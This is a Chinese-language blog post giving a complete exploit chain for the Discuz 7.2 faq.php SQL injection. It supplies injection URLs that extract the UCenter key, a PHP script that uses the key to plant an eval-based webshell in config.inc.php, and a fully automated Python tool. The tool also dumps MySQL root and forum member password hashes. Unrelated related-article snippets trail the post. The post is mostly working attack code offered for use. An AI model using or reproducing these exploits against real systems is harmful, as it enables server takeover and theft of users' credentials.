0x01
下午在群里看到的
问下朋友大概
然后用不生不熟的sqlmap在那跑

表能跑的出
列就GG了
然后没辙

晚上跑各大论坛逛了遍果然大神多

就慢慢的研究下了下
看了pt0n大牛的分析文
真心感叹这洞
呵呵-。-

0x02
获取uc key

exp:

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23

没完整取值只取了62位

我们再取一次

exp:

  1. faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,60) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
 

那么获取到的uc key就是

d77978Sbq4b39bVccfK0J9B0K3x792ieH39dNbY8s8l79dB3z63fp2t563rdm6P4

和shell里的对比下

 

0x03
利用uc key getshell

EXP:

<?php

$timestamp = time()+10*3600;

$host="bbs.xxxxxx.com";

$uc_key="A1v8Z5Z7feZdmfcd72J5C5V8hc8dM4F6V2g0h5ofXdS6jcm1C78bZede39z51610";

$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));

$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

<item id="UC_API">xxx\');eval($_POST[cmd]);//</item>

</root>';

$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

<item id="UC_API">aaa</item>

</root>';

$html1 = send($cmd1);

echo $html1;

$html2 = send($cmd2);

echo $html2;

function send($cmd){

global $host,$code;

$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";

$message .= "Accept: */*\r\n";

$message .= "Referer: ".$host."\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

$message .= "Host: ".$host."\r\n";

$message .= "Content-Length: ".strlen($cmd)."\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $cmd;

$fp = fsockopen($host, 80);

fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

return $resp;

}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str_replace('=', '', base64_encode($result));

}

}

?>

修改下

$host="bbs.xxxxxx.com";
$uc_key="xxx"

放在php.exe的环境里直接 getshell

成功会显示

1
1
0

0x04
一句话地址
一句话的地址是http://xxxx.tw/config.inc.php 密码cmd
enjoy it!

ps:上面获取shell的步骤有点麻烦,首先要通过注入语句获取uc_key,然后利用uc_key获取webshell。下面的代码可以自动完成上面步骤来获取webshell。

Python Discuz 7.2 faq.php sql注入漏洞全自动利用工具

exp:

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: utf_8 -*-

# author iswin

import sys

import hashlib

import time

import math

import base64

import urllib2

import urllib

import re

def sendRequest(url,para):

try:

data = urllib.urlencode(para)

req=urllib2.Request(url,data)

res=urllib2.urlopen(req,timeout=20).read()

except Exception, e:

print 'Exploit Failed!\n%s'%(e)

exit(0);

return res

def getTablePrefix(url):

print 'Start GetTablePrefix...'

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para);

pre=re.findall("Duplicate entry '(.*?)'",res);

if len(pre)==0:

print 'Exploit Failed!'

exit(0);

table_pre=pre[0][:len(pre[0])-1].decode('hex')

table_pre=table_pre[0:table_pre.index('_')]

print 'Table_pre:%s'%(table_pre)

return table_pre

def getCurrentUser(url):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para)

pre=re.findall("Duplicate entry '(.*?)'",res)

if len(pre)==0:

print 'Exploit Failed!'

exit(0);

table_pre=pre[0][:len(pre[0])-1]

print 'Current User:%s'%(table_pre)

return table_pre

def getUcKey(url):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para);

res1=sendRequest(url,para1);

key1=re.findall("Duplicate entry '(.*?)'",res)

key2=re.findall("Duplicate entry '(.*?)'",res1)

if len(key1)==0:

print 'Get Uc_Key Failed!'

return ''

key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]

print 'uc_key:%s'%(key)

return key

def getRootUser(url):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para);

pre=re.findall("Duplicate entry '(.*?)'",res)

if len(pre)==0:

print 'Exploit Failed!'

exit(0);

table_pre=pre[0][:len(pre[0])-1].split(' ')

print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}

res=sendRequest(url,para);

datas=re.findall("Duplicate entry '(.*?)'",res)

if len(datas)==0:

print 'Exploit Failed!'

exit(0)

cleandata=datas[0][:len(datas[0])-1]

info=cleandata.split(' ')

print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = False) :

if get_as_float:

return time.time()

else:

return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):

ckey_length = 4

key = hashlib.md5(key).hexdigest()

keya = hashlib.md5(key[0:16]).hexdigest()

keyb = hashlib.md5(key[16:32]).hexdigest()

keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]

cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()

key_length = len(cryptkey)

string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string

string_length = len(string)

result = ''

box = range(0, 256)

rndkey = dict()

for i in range(0,256):

rndkey[i] = ord(cryptkey[i % key_length])

j=0

for i in range(0,256):

j = (j + box[i] + rndkey[i]) % 256

tmp = box[i]

box[i] = box[j]

box[j] = tmp

a=0

j=0

for i in range(0,string_length):

a = (a + 1) % 256

j = (j + box[a]) % 256

tmp = box[a]

box[a] = box[j]

box[j] = tmp

result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):

headers={'Accept-Language':'zh-cn',

'Content-Type':'application/x-www-form-urlencoded',

'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

'Referer':url

}

tm = time.time()+10*3600

tm="time=%d&action=updateapps" %tm

code = urllib.quote(get_authcode(tm,key))

url=url+"?code="+code

data1='''<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

<item id="UC_API">http://xxx\');eval($_POST[3]);//</item>

</root>'''

try:

req=urllib2.Request(url,data=data1,headers=headers)

ret=urllib2.urlopen(req)

except:

return "Exploit Falied"

data2='''<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

<item id="UC_API">http://aaa</item>

</root>'''

try:

req=urllib2.Request(url,data=data2,headers=headers)

ret=urllib2.urlopen(req)

except:

return "error"

try:

req=urllib2.Request(host+'/config.inc.php')

res=urllib2.urlopen(req,timeout=20).read()

except Exception, e:

print 'GetWebshell Failed,%s'%(e)

return

print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':

print 'DZ7.x Exp Code By iswin'

if len(sys.argv)<3:

print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.iswin.org 10'

exit(0)

url=sys.argv[1]+'/faq.php'

count=int(sys.argv[2])

user=getCurrentUser(url)

if user.startswith('root@'):

getRootUser(url)

uc_key=getUcKey(url)

if len(uc_key)==64:

print 'Start GetWebshell...'

get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])

tb_pre=getTablePrefix(url)

print 'Start DumpData...'

for x in xrange(0,count):

dumpData(url,tb_pre,x)

PYTHON WWW.BAIDU.COM 10

Dz7.2 从获取uc key到getshell的更多相关文章

  1. 阿里云提示Discuz uc.key泄露导致代码注入漏洞uc.php的解决方法

    适用所有用UC整合 阿里云提示漏洞: discuz中的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,.......... 漏洞名称:Discuz uc.key泄露导致代 ...

  2. python字典嵌套字典的情况下获取某个key的value

    最近在用python写接口的测试程序,期间用到解析字典获取某个key的value,由于多个接口返回的字典格式不是固定的并存在多层嵌套的情况.在字典的方法中也没有找到可直接达到目的的方法(也可能是我对字 ...

  3. 从一个复杂的json格式的String内获取某key的值

    如题,如何简单的从一个复杂的String格式内获取某个key的值. 例如:从下面String下取到status的值. {"response":{"info":{ ...

  4. 任意指定一个key获取该key所处在哪个node节点

    需求:任意指定一个key获取该key所处在哪个node节点上. 说明:redis自带的命令可以知道一个key所属的slot,可以知道node master对应哪些slot,但没有key和node的对应 ...

  5. Discuz uc.key泄露导致代码注入漏洞

    漏洞描述:在Discuz中,uc_key是UC客户端与服务端通信的通信密钥,discuz中的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,最终进入网站后台,造成数据泄漏 ...

  6. 如何从二维数组中的多个key中获取指定key的值?

    精华 LOVEME96 2016-10-21 10:40:19 浏览(1512) 回答(3) 赞(0) 新手求教:二维数组中一般会有多个key,如果我们要获得指定key的值,应该怎么做? 问题标签: ...

  7. SQL:获取每个key下最新创建的记录

    今天遇到了一个好玩的问题 问题: 有一个含有key和createdTime字段的表,表里存在很多不同的key值,每个key值下有很多记录. 我想要查出每个key下面cratedTime最大的记录,即每 ...

  8. Hbase rest方式获取指定key范围内的值

    代码如下: <?php class Monitor_Hbase{ private $rest_host = "http://10.99.90.39:8130/";//rest ...

  9. [转载]淘宝API调用 申请 获取session key

    http://www.cnblogs.com/zknu/archive/2013/06/14/3135527.html 在调用淘宝的API时,我们都会用到appkey,appsecret,appses ...

随机推荐

  1. Linux下MySQL出现乱码的解决方法

    开发环境 cent os 6.5 mysql springboot duird 故障描述 本地开发环境没有任何问题,上传到服务器后发现提交的表单内容只要是中文直接变成 ??? 解决方式 错误尝试: 一 ...

  2. PHP返回404状态码,由服务器处理

    1. 通过header()方法来实现, 最简单的方法,而且对php的版本没什么限制    <?php          header('HTTP/1.1 404 Not Found');     ...

  3. Java线程池——ThreadPoolExecutor的使用

    1 线程池的创建 ThreadPoolExecutor有以下四个构造方法 ThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long  ...

  4. SpringMVC入门(一)

    非注解的SpringMVC 1.创建一个web工程 2.导入工程需要的jar包 3.配置SpringMVC的前端控制器  前端控制器(DispatcherAdapter)需要在web.xml文件中进行 ...

  5. 【ES6】var、let、const三者的区别

    首先,一个常见的问题是,ECMAScript 和 JavaScript 到底是什么关系? ECMAScript是一个国际通过的标准化脚本语言.JavaScript由ECMAScript和DOM.BOM ...

  6. iOS 开发工具网页下载

    iOS 开发工具网页下载地址: https://developer.apple.com/downloads/

  7. spring mvc 基本配置

    <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.sp ...

  8. jQuery filter() , end()

    1. jquery filter(condition) :  过滤指定对象中符合条件的元素: 2.  jquery  end() : 回到原来的操作对象 3.  example : <body& ...

  9. AndroidStudio安装教程

    Android studio安装与配置 1.首先下载Android studio安装包,可以从http://www.android-studio.org/ 2.下载好该安装包之后,点击进行安装,依次出 ...

  10. vue2.0中的ref.html

    前置知识请戳这里 获取DOM对象以及组件对象 <!DOCTYPE html> <html> <head> <meta charset="UTF-8& ...